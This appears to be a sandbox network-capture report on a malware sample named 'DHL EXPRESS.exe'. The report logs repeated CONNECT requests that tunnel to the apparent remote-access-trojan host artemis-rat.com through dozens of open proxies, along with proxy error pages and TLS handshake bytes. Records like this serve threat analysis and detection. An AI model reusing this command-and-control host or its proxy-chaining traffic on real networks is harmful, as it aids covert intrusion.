Mar 11, 2024 18:38:05.411150932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:53.409477949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.8	54174	65.21.24.81	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.316751003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.074903965 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Mon, 11 Mar 2024 17:35:58 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>
Mar 11, 2024 18:36:56.631462097 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Mon, 11 Mar 2024 17:35:58 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.8	53305	101.255.208.18	3129	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.317333937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.362755060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.362952948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.456837893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.8	54486	47.89.184.18	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.317847013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.533684969 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.8	54552	104.22.14.48	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.317975998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.472501040 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.8	54554	104.19.217.219	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.318156004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.472618103 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.8	54488	51.161.99.113	58211	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.319345951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.956506014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.769325018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261648893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.066056967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.956842899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.8	54461	18.133.16.21	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.328275919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.782149076 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:55 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:55.886157990 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 36 21 c0 c3 f8 4d 32 19 07 90 e7 13 98 7e 83 8d ba ce 62 84 f5 01 a1 10 a0 38 4d b8 b2 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA6!M2~b8M*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:56.181180000 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 5c 6d af 76 50 be 2e 98 e8 86 2c 73 dd 8c c3 cd 74 ea 3b de 7c ae b7 15 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9\mvP.,st;\|DOWNGRD0000H010Uartemis-rat.com0240311172149Z260311172149Z010Uartemis-rat.com0"0H0b1Y\P
Mar 11, 2024 18:36:58.955526114 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 a6 6e 34 5d eb b5 89 94 67 9c f9 de c2 7e eb 6c 80 3e 0c 43 a2 02 ac c9 a4 18 c5 64 40 98 b9 02 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 2f 9a 8b ab fb 97 c8 81 aa 97 b5 7e 83 05 b5 db 8b f1 a9 45 27 Data Ascii: %! n4]g~l>Cd@(/~E'&W
Mar 11, 2024 18:36:59.245076895 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 53 1b a2 42 53 4d de 88 30 bf 93 89 1a 9d 48 d8 a6 74 ea 00 f8 67 5a 61 0b 84 d6 40 8f cd 8a 6f a6 32 83 5a b8 67 84 38 Data Ascii: (SBSM0HtgZa@o2Zg8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.8	54472	114.129.2.82	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.332762003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.956559896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.223671913 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.8	54560	166.62.38.100	6322	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.336311102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.956453085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.8	54159	187.40.1.123	128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.343648911 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:53.687603951 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:37:10.214454889 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/5.2 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:37:08 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17038 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 65 67 6f 65 2c 20 27 53 65 67 6f 65 20 55 49 27 2c 20 27 44 65 6a 61 56 75 20 53 61 6e 73 27 2c 20 27 54 72 65 62 75 63 68 65 74 20 4d 53 27 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 41 76 69 73 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 63 37 63 61 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 20 31 30 30 25 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 72 65 74 69 63 65 6e 63 69 61 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 20 65 6c 6c 69 70 73 69 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 39 36 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 35 30 30 70 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 38 22 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 22 64 65 6e 79 5f 6c 6f 67 6f 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 4e 63 41 41 41 41 76 43 41 59 41 41 41 42 Data Ascii: <!DOCTYPE html><html style="background-color: #f9f9f9 !important;font-family:Segoe, 'Segoe UI', 'DejaVu Sans', 'Trebuchet MS', Verdana, sans-serif;"> <head> <meta charset="UTF-8"> <title>Aviso</title> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> <style> html{background: #3c7ca0 !important;} body{background: transparent !important;height: 100%;} .reticencias { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width:96%; margin-bottom:0 !important; } </style> </head> <body id="ERR_CANNOT_FORWARD" style="font-size:12px; "> <div class="container" align="center"> <div class="row" style="min-width:500px"> <div class="col-xs-8" style="text-align:center;padding-top:50px; padding-bottom:10px"><img class="deny_logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANcAAAAvCAYAAAB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.8	50948	111.221.3.86	5566	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.352149010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.8	54473	18.135.133.116	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.365400076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.781980991 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:55 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:55.885665894 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 36 72 05 43 ae b3 94 83 b5 a7 fd 92 3d 58 59 f6 56 dc 6d 0f d5 51 c2 69 fe 79 1a 7f 84 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA6rC=XYVmQiy*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:56.177937984 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 42 df 40 92 5d 37 b4 3f 85 b3 d6 ba 92 fd 04 f3 fd 6d c5 95 4d 96 01 fd 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9B@]7?mMDOWNGRD0000H010Uartemis-rat.com0240311172149Z260311172149Z010Uartemis-rat.com0"0H0b1Y\P
Mar 11, 2024 18:36:58.955023050 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 4c 6c a6 26 cf 92 b4 fd 38 ee 19 53 d1 19 35 93 ce 53 24 db 33 51 8d 56 d7 e7 1c 71 55 1d f8 67 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 79 89 0c e2 ee 9a bb 1a fe d2 f9 dc 19 05 5f 90 75 d9 7f 02 91 Data Ascii: %! Ll&8S5S$3QVqUg(y_ujTAmUc
Mar 11, 2024 18:36:59.243772984 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 6a 97 42 e4 92 13 33 c2 58 25 f8 d2 7d e0 22 87 a9 da dc fd ec 8e 5f 5c d3 5f 43 40 1f c9 55 70 20 4b e3 0b c6 d1 a1 b8 Data Ascii: (jB3X%}"_\_C@Up K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.8	54468	18.185.169.150	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.390727043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.696907997 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:53 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.8	54479	147.75.34.86	10008	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.408617973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.712471962 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.8	54459	5.10.249.159	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.409775972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.8	54527	133.18.234.13	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.410969019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.689146996 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.8	53428	115.127.31.66	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
